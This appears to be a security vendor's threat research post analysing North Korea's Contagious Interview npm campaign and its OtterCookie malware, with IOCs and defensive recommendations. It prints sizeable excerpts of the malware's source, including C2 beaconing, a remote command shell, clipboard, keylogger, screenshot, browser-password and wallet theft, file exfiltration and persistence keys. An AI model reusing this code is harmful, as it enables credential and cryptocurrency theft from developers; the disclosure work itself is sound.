Inside the GitHub Infrastructure Powering North Korea's Contagious Interview npm Attacks
Socket Threat Research Team maps a rare inside look at OtterCookie's npm-Vercel-GitHub chain, adding 197 malicious packages and evidence of North Korea's Contagious Interview operation.
The Socket Threat Research Team continues to track North Korea’s Contagious Interview operation as it systematically infiltrates the npm ecosystem. Since we last reported on this campaign, it has added at least 197 more malicious npm packages and over 31,000 additional downloads, with state-sponsored threat actors targeting blockchain and Web3 developers through fake job interviews and “test assignments”. This sustained tempo makes Contagious Interview one of the most prolific campaigns exploiting npm, and it shows how thoroughly North Korean threat actors have adapted their tooling to modern JavaScript and crypto-centric development workflows.
Within this recent wave of malicious npm packages, we documented a rare inside view of the GitHub infrastructure that underpins part of this activity. Tracing the malicious npm package tailwind-magic led us to a Vercel-hosted staging endpoint, tetrismic[.]vercel[.]app, and from there to a threat actor-controlled GitHub account, stardev0914, which contained 18 repositories. We credit Kieran Miyamoto of the DPRK Research blog (https://dprk-research.kmsec.uk/), whose observation about a related GitHub repository helped confirm and refine our pivot to this account.
Socket AI Scanner’s analysis of the malicious tailwind-magic npm package highlights security issues, including inconsistent metadata, and a hardcoded link to the GitHub repository https://github[.]com/stardev0914/tailwind-magic.git.
The repositories in the stardev0914 GitHub account form a coherent adversarial delivery stack: malware-serving code lives on GitHub, the latest payload is fetched from Vercel, and a separate command and control (C2) server handles data collection and tasking. At least five malicious npm packages, including tailwind-magic, tailwind-node, node-tailwind, node-tailwind-magic, and react-modal-select, rely on this infrastructure to deliver a second-stage payload.
Diagram of the analyzed Contagious Interview attack chain: a victim installs a malicious npm package that fetches a payload from a hardcoded Vercel URL, which in turn pulls code from a threat actor-controlled GitHub repository and executes the OtterCookie malware, establishing bidirectional C2 with the threat actor’s server for data theft and remote tasking.
The payload itself is a recent OtterCookie malware variant that blurs earlier distinctions between OtterCookie and BeaverTail. Once delivered, it performs VM and sandbox detection, fingerprints the host, and then establishes a long-lived C2 channel. From there it provides the threat actors with a remote shell, continuous clipboard theft, global keylogging, multi-monitor screenshot capture, and recursive filesystem scanning designed to harvest credentials, seed phrases, wallet data, and sensitive documents. It also targets Chrome and Brave profile data and a broad set of popular crypto-wallet browser extensions across Windows, macOS, and Linux, making it a combined infostealer and remote access tool tuned for draining digital assets and exfiltrating high-value secrets from developer systems.
Our analysis of the stardev0914 account also uncovered a constellation of repositories that act as delivery vehicles and lures. A repository named tailwind-magic mirrors the malicious npm package and serves as a typosquatted fork of the legitimate tailwind-merge library, modified to act as a loader for the payload staged at tetrismic[.]vercel[.]app. In addition, we analyzed repositories named after crypto-themed projects, including a cloned Knightsbridge DEX front-end (dexproject) wired to the malicious node-tailwind package, as well as numerous token- and DeFi-branded repositories used as lures.
Annotated GitHub view of the threat actor-controlled account stardev0914, highlighting some of the repositories: dexproject (cloned Knightsbridge DEX with malicious npm dependency), tetrismic (malware server delivering OtterCookie), several fake token lure sites (safutoken, laifubnb, spurdomeme), and tailwind-magic, a malware loader.
GitHub hosts polished but malicious or deceptive crypto projects, npm delivers loader packages that appear to be harmless utilities, Vercel stages the latest payload, and a separate C2 server quietly runs OtterCookie malware against compromised hosts. In this most recent wave of 197 packages since October 10, 2025, we confirmed that 15 malicious npm packages remain live at the time of writing and have reported them to the npm security team for blocking. Even though the stardev0914 account has been removed, the Contagious Interview campaign’s techniques persist and continue to evolve, with new npm infiltrations appearing weekly as North Korean operators bombard developers and tech job seekers with supply chain malware such as the OtterCookie family analyzed in this report.
Malicious npm Package
tailwind-magic is a typosquatted and backdoored clone of the legitimate tailwind-merge library. The code exported from dist/ behaves like a normal Tailwind class-merging utility, but a postinstall script executes src/lib/index.js, which uses axios to call the threat actor-controlled endpoint https://tetrismic[.]vercel[.]app/api/ipcheck and eval the returned JavaScript. This behavior turns the package into a remote loader that runs threat actor-supplied code at install time.
Socket AI Scanner’s analysis of the malicious tailwind-magic package highlights a backdoor that, on import, POSTs the local package version to the threat-actor endpoint https://tetrismic[.]vercel[.]app/api/ipcheck and evals the response, granting the threat actor arbitrary code execution with full Node.js process privileges.
Staging Server
The threat actors maintain a small staging server, developed in the GitHub repository github[.]com/stardev0914/tetrismic and deployed on Vercel at tetrismic[.]vercel[.]app. On each request, the server reads its local main.js payload and returns its contents in a JSON field named model. The malicious npm package extracts this field and executes it with eval() inside the victim’s Node.js process, turning the payload into live code on the host.
The threat actors split this infrastructure into three components. GitHub hosts the development repository. Vercel serves the current payload on demand. A separate C2 server receives data and issues tasks once the loader runs, which isolates operations. The npm package is the delivery vehicle that bridges developer environments and this backend. This separation lets the threat actors rotate payloads across multiple packages, customize responses per target, and keep their C2 infrastructure relatively quiet until the second stage is active.
GitHub Deployments view for the threat actor repository stardev0914/tetrismic (when it was live), showing 38 Vercel “Production” deployments used to continuously update the OtterCookie staging server that malicious npm loaders such as tailwind-magic query for their current JavaScript payload.
OtterCookie Malware Payload
The payload aligns with what NTT Security Japan SOC analysts Masaya Motoda and Rintaro Koike describe as OtterCookie version 4 in their excellent reporting. It also reflects the sharp analysis by Cisco Talos researchers Vanja Švajcer and Michael Kelley, who documented overlapping traits across BeaverTail and OtterCookie, blurring the boundary between the two malware families.
At a high level, the OtterCookie sample in this campaign operates as a multi-stage infostealer and remote access trojan (RAT) with capabilities including:
- VM and sandbox checks plus host fingerprinting
- C2 connection to register the infected host and request tasks
- Interactive remote shell
- Clipboard data exfiltration
- System-wide keylogging
- Multi-monitor screenshot capture
- Recursive file-system search for secrets, wallets, and sensitive documents
- Collection of browser credentials and wallet extension data from Chrome and Brave on Windows, macOS, and Linux
VM and Sandbox Detection; Initial C2 Beacon
The OtterCookie uses the setHeader() function to profile the host for virtualization before sending its first request to the C2 server. The code snippets in this section and below are taken directly from the threat actor-controlled stardev0914 GitHub repository, with indicators defanged and inline comments added by Socket for clarity.
setHeader() implements VM and sandbox checks:
- Windows: executes
wmic computersystem get model,manufacturerand flags systems whose output containsvmware,virtualbox,microsoft corporation, orqemu - macOS: runs
system_profiler SPHardwareDataTypeand scans the hardware profile for common virtualization vendors - Linux: parses
/proc/cpuinfofor hypervisor strings such asvmware,virtualbox,kvm, orxen
These checks help the malware avoid analyst sandboxes and prioritize victim environments before it beacons out.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// VM, sandbox check, and initial C2 beacon
const setHeader = async function () {
try {
let isVM = false;
if (os.platform() == "win32") {
// Windows: check model/manufacturer for VM vendors
let output = execSync("wmic computersystem get model,manufacturer", { windowsHide: true });
output = output.toString().toLowerCase();
if (output.includes("vmware") ||
output.includes("virtualbox") ||
output.includes("microsoft corporation") ||
output.includes("qemu")) {
isVM = true;
}
} else if (os.platform() == "darwin") {
// macOS: inspect hardware profile for virtualization markers
let output = execSync("system_profiler SPHardwareDataType", { windowsHide: true });
output = output.toString().toLowerCase();
if (/vmware|virtualbox|qemu|parallels|virtual/i.test(output)) isVM = true;
} else if (os.platform() == "linux") {
// Linux: scan /proc/cpuinfo for hypervisor strings
let output = fs.readFileSync("/proc/cpuinfo", "utf8").toLowerCase();
if (/hypervisor|vmware|virtio|kvm|qemu|xen/i.test(output)) isVM = true;
}
// Send host fingerprint and VM flag to C2
const result = await axios.post(
"http://144[.]172[.]104[.]117:5918/api/service/process/" + uid,
{
OS: os.type(),
platform: os.platform(),
release: os.release() + (isVM ? " (VM)" : " (Local)"),
host: os.hostname(),
userinfo: os.userInfo(),
uid,
t: 66
}
);
// C2 tells client to stop if flagged as VM
if (result.data && result.data.release.includes("(VM)")) {
return false;
} else {
return true;
}
} catch (e) {
console.log(e.message);
return true;
}
}
Payload Orchestration
Once the environment checks pass, the malware hands execution to main(), which coordinates the long-running payload components. main() first calls setHeader(); if the C2 response or VM checks indicate a sandbox, it exits, otherwise it invokes s(), which in turn launches three asynchronous workers: ss(), aa(), and bb().
ss()— clipboard theft, interactive remote shell, and persistenceaa()— browser credential collection and wallet extension data theftbb()— keylogging, screenshot capture, and filesystem scanning / exfiltration
Each worker runs as a separate, detached Node.js process spawned via child_process.spawn('node', ['-e', code], { detached: true, stdio: 'ignore', windowsHide: true }) and then unref()ed, so these processes continue running in the background even after the initial loader exits.
Clipboard Theft, Interactive Remote Shell, and Windows Persistence
ss() builds a hex-escaped payload string, decodes it, and executes it in a detached Node.js process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// Excerpt from ss(): clipboard stealer and remote command backdoor
// Every 5s: read clipboard and POST { uid, clip, hostname } to /clip
// Every 10s: poll /command?uid=<uid>, exec returned command, POST { uid, command, output, hostname } to /output
const axios = require("axios");
const os = require("os");
const fs = require("fs");
const {spawn, execSync} = require("child_process");
const uid = "4a3703430a2ec2ae30f362b29e994f77";
setInterval(() => {
let clip;
const hostname = os.hostname();
// OS-specific clipboard read
if (os.platform() === "win32") {
clip = execSync("powershell -command Get-Clipboard", { encoding: "utf8", windowsHide: true });
} else if (os.platform() === "darwin") {
clip = execSync("pbpaste", { encoding: "utf8" });
} else {
clip = execSync("xclip -selection clipboard -o", { encoding: "utf8", windowsHide: true });
}
// Clipboard exfiltration: /clip endpoint
axios.post(`http://${a}.${b}.${c}.${d}:${p}/clip`, { uid, clip, hostname })
.catch(err => console.error("Clipboard post error:", err.message));
}, 5000); // 5 seconds
setInterval(async () => {
try {
// Poll C2 for commands for this uid
const response = await axios.get(`http://${a}.${b}.${c}.${d}:${p}/command?uid=` + uid);
const command = response.data.command;
if (command) {
let output;
const hostname = os.hostname();
// Execute arbitrary command from C2
try {
output = execSync(command, { encoding: "utf8", windowsHide: true });
} catch (err) {
output = "Error executing command: " + err.message;
}
// Send command output back to C2
await axios.post(
`http://${a}.${b}.${c}.${d}:${p}/output`,
{ uid, command, output, hostname }
);
}
} catch (err) {
console.error("Remote shell error:", err.message);
}
}, 10000); // 10 seconds
It also establishes persistence on Windows:
- Adds a
RunentryHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "NodeHelper" - Creates a scheduled task
NodeUpdateto runnode <dir>\\index.jsat logon with highest privileges
Together, these mechanisms provide a persistent backdoor on compromised Windows hosts.
Browser and Wallet Credential Theft
aa() constructs the following Node.js payload and runs it in a separate process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const os = require('os');
const fs = require('fs');
const path = require('path');
const sqlite3 = require('sqlite3').verbose();
const FormData = require('form-data');
const axios = require('axios');
// C2 endpoints for browser data exfiltration
const uploadUrl = "http://144[.]172[.]104[.]117:5918/upload";
const uu = "http://144[.]172[.]104[.]117:5918/total";
let i = <current counter>;
const getBasePaths = () => {
const platform = process.platform;
if (platform === "win32") {
return [
path.join(process.env.LOCALAPPDATA, "Google/Chrome/User Data"),
path.join(process.env.LOCALAPPDATA, "BraveSoftware/Brave-Browser/User Data"),
];
} else if (platform === "darwin") {
return [
path.join(process.env.HOME, "Library/Application Support/Google/Chrome"),
path.join(process.env.HOME, "Library/Application Support/BraveSoftware/Brave-Browser"),
];
} else if (platform === "linux") {
return [
path.join(process.env.HOME, ".config/google-chrome"),
path.join(process.env.HOME, ".config/BraveSoftware/Brave-Browser"),
];
}
return [];
};
Targeted wallet extension IDs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const wps = [
"acmacodkjbdgmoleebolmdjonilkdbch", // Keplr
"nkbihfbeogaeaoehlefnkodbefgpgknn", // MetaMask
"bfnaelmomeimhlpmgjnjophhpkkoljpa", // Phantom
"ibnejdfjmmkpcnlpebklmnkoeoihofec", // Binance Chain
"ppbibelpcjmhbdihakflkdcoccbgbkpo", // Core Wallet
"omaabbefbmiijedngplfjmnooppbclkk", // Tonkeeper
"egjidjbpglichdcondbcbdnbeeppgdph", // Trust
"khpkpbbcccdmmclmpigdgddabeilkdpd", // XDEFI
"dmkamcknogkgcdfhhbddcghachkejeap", // Brave
"ejbalbakoplchlghecdalmeeeajnimhm", // Bitget
"fhbohimaelbohpjbbldcngcnapndodjp", // MetaMask Beta
"aeachknmefphepccionboohckonoeemg", // Ronin
"hifafgmccdpekplomjjkcfgodnhcellj", // Terra
"jblndlipeogpafnldhgmapagcccfchpi", // Nami
"dlcobpjiigpikoobohmabehhmhfoodbb", // Solflare
"mcohilncbfahbmgdjkbpemcciiolgcge", // Binance
"agoakfejjabomempkjlepdflaleeobhb", // Martian
"aholpfdialjgjfhomihkjbmgioiodbic", // Petra
"nphplpgoakhhjchkkhmiggakijnkhfnd", // Safepal
"penjlddjkjgpnkllboccdgccekpkcbin", // Suiet
"lgmpcpglpngdoalbgeoldeajfclnhafa", // Fewcha
"fldfpgipfncgndfolcbkdeeknbbbnhcc", // Clover
"bhhhlbepdkbapadjdnnojkbgioiodbic", // Pontem
"gjnckgkfmgmibbkoficdidcljeaaaheg", // Unisat
"afbcbjpbpfadlkmhmclhkeeodmamcflc", // WalletConnect
"bdgmdoedahdcjmpmifafdhnffjinddgc", // Bittensor
"hnfanknocfeofbddgcijnmhnfnkdnaad", // Coinbase
"acmacodkjbdgmoleebolmdjonilkdbch", // Rabby (duplicate ID)
];
Browser logins:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Extract stored Chrome/Brave login entries from a profile path
const extractBrowserData = (profilePath) => {
// SQLite DB file holding saved logins for this profile
const loginDataPath = path.join(profilePath, 'Login Data');
const extractedData = [];
// No credential DB for this profile
if (!fs.existsSync(loginDataPath)) return extractedData;
// Open browser login database in read-only mode
const db = new sqlite3.Database(loginDataPath, sqlite3.OPEN_READONLY, ...);
return new Promise((resolve) => {
// Pull url / username / password blobs from the logins table
db.all('SELECT origin_url, username_value, password_value FROM logins',
(err, rows) => {
if (!err) {
rows.forEach(row => {
extractedData.push({
url: row.origin_url,
username: row.username_value,
password: row.password_value
});
});
}
db.close();
resolve(extractedData);
}
);
});
};
Once the npm loader evals main.js on the victim, the script immediately communicates to C2 and initializes the core payload modules. It:
- Registers the host and sends a full fingerprint to
http://144[.]172[.]104[.]117:5918/api/service/process/{uid}. - If the C2 response allows execution, launches three parallel modules: clipboard stealer and interactive remote shell; keylogger, screenshot capture, and recursive secret/file search; and Chrome/Brave credential theft and wallet extension data exfiltration.
All C2 traffic goes to 144[.]172[.]104[.]117.
Keylogger, Screenshots, Filesystem Scan, and Mass Exfiltration
bb() constructs another Node.js payload and launches it in a separate, detached process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const fs = require('fs');
const path = require('path');
const axios = require('axios');
const os = require('os');
// Global counters and flags for this module
let screenshotCounter = 0;
let totalFiles = 0;
let listenerAdded = false;
// Filename patterns used to hunt secrets, wallets, and sensitive documents
const searchKey = [
"*.env*", "*metamask*", "*phantom*", "*bitcoin*", "*trust*",
"*phrase*", "*secret*", "*phase*", "*credential*", "*account*", "*mnemonic*",
"*seed*", "*recovery*", "*backup*", "*address*", "*keypair*", "*wallet*",
"*my*", "*screenshot*",
"*.doc*", "*.docx*", "*.pdf*", "*.rtf*", "*.odt*",
"*.xls*", "*.xlsx*", "*.txt*", "*.ini*", "*.secret*", "*.json*", "*.ts*",
"*.js*", "*.csv*"
];
// Directories and system files to skip during recursive search
const excludeFolders = [
'node_modules','Windows','Program Files','Program Files (x86)',
'System Volume Information','$Recycle.Bin','AppData','.cache',
'Recovery','pagefile.sys','hiberfil.sys','swapfile.sys','Thumbs.db',
// and many more (directories, system files) not included in this code snippet
];
// Case-insensitive match against simple *substring* patterns
const isFileMatching = (fileName) => {
const lowerFileName = fileName.toLowerCase();
return searchKey.some(pattern => {
const lowerPattern = pattern.toLowerCase();
if (lowerPattern.startsWith('*') && lowerPattern.endsWith('*')) {
const core = lowerPattern.slice(1, -1);
return lowerFileName.includes(core);
}
});
};
// Delay initialization of keylogging, screenshot, file-search module
setTimeout(() => {
try {
// Load keylogging, screenshot, image, and upload helpers
const GlobalKeyboardListener = require("module-listener").GlobalKeyboardListener;
const { Monitor } = require("node-screenshots");
const sharp = require("sharp");
const FormData = require("form-data");
const keyStates = {};
let capsLock = false;
const tmpDir = os.tmpdir();
const keyboard = new GlobalKeyboardListener();
let text = "";
let shift = false;
let ctrl = false;
let isRunning = true;
const uu = "http://144[.]172[.]104[.]117:5918/total";
// C2 endpoint for transfer
This scans entire disks / mount points looking for files whose names look like secrets, wallets, sensitive documents, configs, etc., and uploads matching files to /total.
Keylogger:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const sendKeyText = async () => {
if (text.trim() === "") return;
const form = new FormData();
form.append("text", text);
await axios.post(uu, form, {
headers: {
...form.getHeaders(),
userkey: 1995,
hostname: os.hostname(),
t: "66"
}
});
text = "";
};
const addKeyboardListener = () => {
if (listenerAdded) return;
listenerAdded = true;
keyboard.addListener(function (e, down) {
if (!isRunning) return;
// Tracks shift/ctrl/caps lock etc, builds readable string
// Calls sendKeyText() on ENTER / LBUTTON etc.
});
};
It uses GlobalKeyboardListener from module-listener / node-global-key-listener to capture system-wide keystrokes and periodically send them to http://144[.]172[.]104[.]117:5918/total with userkey: 1995 and the host name in HTTP headers.
Filesystem crawler and file exfiltration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const uf = async (p) => {
// Upload a single file to C2 as multipart / form-data
if (fs.statSync(p).isFile()) {
const form = new FormData();
form.append("file", fs.createReadStream(p));
await axios.post(uu, form, {
headers: {
...form.getHeaders(),
userkey: 1995, // Static implant ID
hostname: os.hostname(), // Host identifier
t: "66" // Fixed campaign/tag value for this implant
}
});
}
};
const scanDir = async (dir) => {
// Recursively walk dir, skip excludeFolders, and exfil matching files
};
const scanFullSystem = async () => {
const rootDrives = [];
if (process.platform === 'win32') {
// Enumerate existing drive letters A:\ .. Z:\
// and treat each as a root for scanning
} else {
// Unix-like: scan / plus common mount points
rootDrives.push('/');
const mounts = ['/mnt', '/media', '/Volumes', '/home'];
mounts.forEach(m => fs.existsSync(m) && rootDrives.push(m));
}
// Traverse each root and apply recursive file search and upload
for (const root of rootDrives) await scanDir(root);
};
Screenshots:
1
2
3
4
5
6
7
8
9
10
11
const captureScreenshots = async () => {
const monitors = await Monitor.getAllDisplays();
// Enumerate all attached displays
// Grab per-monitor frames and merge into a single composite image buffer
const screenshotPath = path.join(tmpDir, 'screenshots', `screenshot${screenshotCounter++}.jpeg`);
fs.writeFileSync(screenshotPath, combinedImage);
// Write composite JPEG to temp folder
await uf(screenshotPath); // Exfil combined screenshot via upload endpoint
};
The module performs continuous keylogging, multi-monitor screenshot capture, and large-scale file exfiltration across the compromised system.
Crypto-Themed Repositories Used for Malicious Delivery and Lures
Repository dexproject
Contagious Interview threat actors used the dexproject repository in their stardev0914 GitHub account as a carrier for the malicious npm package node-tailwind. The repository presents as a standard DEX front-end template: the application code looks normal, but installing its dependencies pulls in a malicious package.
Socket AI Scanner’s analysis of the malicious node-tailwind package highlights its supply-chain risk, flagging it as known malware with 0% supply chain security and unstable ownership (a new collaborator publishing versions). At the time of writing, this package remains live on npm, but we have reported it to the npm security team for blocking.
dexproject is a cloned Knightsbridge site and effectively a Knightsbridge/KXCO-branded DEX front-end wired to node-tailwind, so it looks like a legitimate Knightsbridge DEX while acting as a supply chain delivery vehicle. The branding and metadata masquarade as “Knightsbridge DEX / KXCO”, with clear copy-paste artifacts and deployment to knightsbridge-dex[.]vercel[.]app, but the UI is purely presentational: buttons do not invoke contracts, and the source contains no router or factory addresses.
The key malicious element is the node-tailwind npm package. Instead of using a standard utility such as tailwind-merge, the project imports node-tailwind into a cn() helper in src/lib/utils.ts and then calls cn() for className construction across the component tree, ensuring the malicious dependency is loaded and executed wherever the template is used.
1
2
3
4
5
6
7
8
9
10
// src/lib/utils.ts
import { clsx } from "clsx";
// Malicious helper imports backdoored node-tailwind package
import { nodeTailwind } from "node-tailwind";
export function cn(...inputs: ClassValue[]) {
// Wrap clsx output so all class merging flows through nodeTailwind (malicious hook point)
return nodeTailwind(clsx(inputs));
}
Screenshot of the Knightsbridge/KXCO-branded DEX front end hosted at knightsbridge-dex[.]vercel[.]app, which Contagious Interview threat actors cloned and used as a presentational lure while wiring the underlying template to the malicious node-tailwind npm dependency.
Repository tailwind-magic
The tailwind-magic repository backs a malicious namesake npm package that typosquats and impersonates the legitimate tailwind-merge library. The exported API behaves like a normal Tailwind class-merging helper so it blends into existing React and Vite workflows.
The package’s main module (index.js) embeds an import-time loader that runs automatically whenever the package is loaded, contacts tetrismic[.]vercel[.]app, and executes the JavaScript returned by the server. In practice, this turns tailwind-magic into a remote loader for the tetrismic C2-hosted OtterCookie malware: any project that imports the package executes threat actor-controlled code with full Node.js privileges.
Other repositories in the stardev0914 account serve primarily as bait. They give the Contagious Interview threat actors plausible GitHub projects and live demo sites to showcase in a fake portfolio. A recruiter persona can point targets to these repositories with instructions like “here’s the project our team is building; please make a small change to it”, turning otherwise benign-looking templates into delivery vectors for malware.
Outlook and Recommendations
This wave reinforces Contagious Interview as a systematic, factory-style operation that treats npm, GitHub, and Vercel as a combined, renewable initial access channel. In this latest cluster, we observed a full stack: multiple loader packages, a Vercel-hosted stager, and a threat actor-controlled GitHub account serving OtterCookie malware.
Since October 10, 2025, the campaign has pushed 197 more malicious packages. Even though the stardev0914 account has been removed, the threat actors’ techniques are intact and already reappearing in new accounts, with fresh npm infiltrations emerging weekly.
Defenders should harden the specific points where this campaign succeeds:
- Treat every
npm installas remote code execution. - Lock down CI runners and build agents so they do not have direct access to production keys and secrets, wallets and signing keys, or cloud administration interfaces.
- Apply network egress controls to block build-time connections to unexpected hosts.
- Require code review for new templates pulled from GitHub, especially in Web3 and DeFi contexts.
- Scrutinize non-standard utility packages wired into global helpers that are used across the codebase.
- Pin dependency versions and use lockfiles, and avoid unpinned, auto-updating dependencies wherever possible.
Organizations should also integrate automated package analysis into their development workflow. Run real-time PR and dependency scanning to catch behaviors such as import-time loaders, eval on network responses, cross-platform keyloggers, and bulk filesystem exfiltration before these behaviors ever land on developer machines or CI systems.
Done well, this turns code review and dependency onboarding into enforcement points where Contagious Interview-style campaigns can be stopped long before malware executes in builds or wallets, especially when combined with automated tooling.
Socket’s GitHub App inspects dependencies during review, while the Socket CLI applies behavior-level checks at install time. Socket Firewall blocks known malicious packages before the package manager fetches them, including transitive dependencies, by mediating dependency requests. The Socket browser extension warns developers about suspicious packages while they browse registries, and Socket MCP extends similar protections into AI-assisted coding by detecting and flagging malicious or hallucinated packages in LLM suggestions.
MITRE ATT&CK
- T1583.001 — Acquire Infrastructure: Domains
- T1583.006 — Acquire Infrastructure: Web Services
- T1585 — Establish Accounts
- T1587 — Develop Capabilities
- T1587.001 — Develop Capabilities: Malware
- T1608.001 — Stage Capabilities: Upload Malware
- T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
- T1059.007 — Command and Scripting Interpreter: JavaScript
- T1204.002 — User Execution: Malicious File
- T1204.005 — User Execution: Malicious Library
- T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
- T1546.016 — Event Triggered Execution: Installer Packages
- T1036 — Masquerading
- T1497 — Virtualization/Sandbox Evasion
- T1656 — Impersonation
- T1056.001 — Input Capture: Keylogging
- T1539 — Steal Web Session Cookie
- T1555.001 — Credentials from Password Stores: Keychain
- T1555.003 — Credentials from Password Stores: Credentials from Web Browsers
- T1082 — System Information Discovery
- T1083 — File and Directory Discovery
- T1217 — Browser Information Discovery
- T1005 — Data from Local System
- T1113 — Screen Capture
- T1115 — Clipboard Data
- T1119 — Automated Collection
- T1105 — Ingress Tool Transfer
- T1571 — Non-Standard Port
- T1041 — Exfiltration Over C2 Channel
- T1657 — Financial Theft
Indicators of Compromise (IOCs)
Malicious npm Packages Linked to Tetrismic C2
GitHub Account
github[.]com/stardev0914
stardev0914 GitHub Repositories
tetrismictailwind-magicdexprojectetherchainaisnortertokenprotocolaipepeheimerfuturesyncxcaptainpepesafutokenlaifubnbspurdomemeaptobersnoopybnb.wtfstakesnoopy.wtfclaim.snoopybnb.wtfagent.snoopybnb.wtfbestwallet
C2 Infrastructure
tetrismic[.]vercel[.]apphttps://tetrismic[.]vercel[.]app/api/ipcheckknightsbridge-dex[.]vercel[.]app144[.]172[.]104[.]117144[.]172[.]104[.]117:5918http://144[.]172[.]104[.]117:5918/api/service/processhttp://144[.]172[.]104[.]117:5918/commandhttp://144[.]172[.]104[.]117:5918/outputhttp://144[.]172[.]104[.]117:5918/cliphttp://144[.]172[.]104[.]117:5918/totalhttp://144[.]172[.]104[.]117:5918/upload
Malicious npm Packages Since October 10, 2025
assert-json-notauth-handlerbcrypt-js-edgebcryptjs-nodebcryptjs-node-jsbcryptjs-nodejsbootstrap-flexgridbootstrap-setcolorbootstrap-setcolorsbootstrap-setflexcolorchai-as-deploychai-as-deployedchai-as-sortedchai-as-testedchai-asyncchai-async-chainchai-async-flowchai-authchai-await-assertschai-await-testchai-await-utilschai-jsonschai-packchai-promise-chainchai-promised-expectchai-promise-suitechai-proxifychai-statuschai-syncchai-test-awaitchai-typecookie-breakercookie-mappercookie-validatecross-sessionscustom-log-viewercwannerdataflow-unifieddist-decoderdotenv-intendelevate-logemail-validatedfunc-analysistglowmotiongrid-settingsgrid-settings-aligngridmancerinit-routerinitial-pathjs-coauthjs-copackjs-cotypejs-repackjs-uponcapsjson-getinjson-oauthjsonauthcapjsonapptokenjsonauthjsonautojson-panelsjsonify-settingsjsonpinojsonrecapjsonretypejsswapperjstoautokyjnzulintcolorlog-pinologify-pinomodule-listenermuleforgemulti-provider-settingsnode-tailwindnode-tailwind-magicpgforcepino-loggingpixel-bloompixelblmpretty-text-formatterradix-ui-react-modalreact-adparserreact-alerts-template-basicreact-bindify-decoratorsreact-flex-toolsreact-icon-updaterreact-ipackreact-mandesreact-mediasreact-modal-selectreact-notifications-alertreact-prop-types-helperreact-resizable-textreact-sideflowreact-stateflowreact-svg-bundlerreact-svg-fillreact-svgs-helperreact-svg-helper-fastreact-svg-supporterreact-tchartreact-tmediareact-ui-animatesreact-ui-notifyreactify-utilsreactjs-fabricredux-motionseeds-alertseeds-randomsession-expiresession-keepersession-parersession-parsesession-validateshadeforgesignale-logsmart-parserstram-logstringify-coderstyle-config-tailwindstyle-tailwind-varianttailwind-areacharttailwind-barcharttailwind-charttailwind-config-viewtailwind-dynamictailwind-fa-bridgetailwind-forms-plustailwind-gradient-imagetailwind-grid-toolstailwind-interacttailwind-justifytailwind-magictailwind-merge-settingtailwind-morphtailwind-nodetailwind-piecharttailwind-react-plugintailwind-settingtailwind-statetailwind-style-overridetailwind-utils-plustailwind-utilxtailwind-variancetailwind-view-uitailwind-widgetstailwindcss-aerowindtailwindcss-animatedflytailwindcss-animation-csstailwindcss-animation-helpertailwindcss-animation-styletailwindcss-awesomefonttailwindcss-bootstrap-colortailwindcss-breeziumtailwindcss-csstreetailwindcss-containerstailwindcss-flexboxtailwindcss-flexflowtailwindcss-fontawesometailwindcss-formstailwindcss-gustifytailwindcss-helperstailwindcss-motionflextailwindcss-react-animationtailwindcss-react-sasstailwindcss-setanimationtailwindcss-setfavicontailwindcss-setflexgridtailwindcss-setfonttailwindcss-setfontstyletailwindcss-setgridtailwindcss-setgridstailwindcss-setmotiontailwindcss-setremotiontailwindcss-tailkittailwindcss-twflaretailwindcss-web-font-awesometesting-react-domvalidator-nodevite-chunk-mastervite-commonjs-supportvite-compiler-toolsvite-dynachunkvite-dynamic-chunksvite-manual-chunkervite-plugin-es6-compatvite-plugin-parseflowvite-plugin-parsifyvite-plugin-postcss-toolsvite-smart-chunkvite-support-kitweb-vitals-helpwebpack-compilejsxwebpack-jsxcompilewebpack-loadcssxdater
npm Aliases
abigailzebrairses36717alex9901alex9902allenhandappleseed123123asd99388488avaaz_aleaanwvk05883b22993172bizownership018blakegon_zalezeamuh10473blaziyistanbookcats1borgdan0818brandon_mistycqbcr0601brightfuturescompany08462brimstoneinkwellwugkebryceprojects78322btwininvest02417bzuinvestorsclub82574charlieaffiliates22177cheaphomeseller55358chicagomrreid01317citylivingagent99587crimson72489cygnu_sonyxxzbek89014danielle_quaranta3dataflight38629daveysellshomes47484dawsonspaces08839dazzlebitcorp62317dealmakersclub92647devonventureinvest81368dhruvishah05828digitalhomesales97117dkiemdmitrypetrov71155edisonrippinelitecapitalgroup08563emmahousingexpert87469emmawills02165erbanfceraswud8pxeurekasales07505evergreenrealtyteam12469evergreenrealtor59192fasttrackhomes22444firstchoicepropertyagent00182frostlangleyzmmvyfuturegrowthhooger00277futurehousefinder62139greenhousebuyersclub77084greenviewagent00541harborviewproperty07246henrylynbunnhhomedealconnect81891homelynestsales49339homesearchpro99483homesolutionsnow95843horizonpropertyteam88973househunterpro12888investcereal91863investdreamz34518investgrowthplanner16529jasonhomesales01207johnmarston39482jonathonff1010kevinspace09495keycityagent64977keycityrealtor98521keystonenaskhardenjennakievrelationmanager07992knightjenkinsybteckrauszsenff3pkphhkukuru423landmarkhomesconsult33423landscapeinvestor00913lauradrwhlendingcrafters51867leowestbcqni016lillihousingagent83183lisaselingreen56157londonhomesmartagent36691londonpropertyagent33861londonpropertyguide27011luxuryhomebroker77429luxuryprime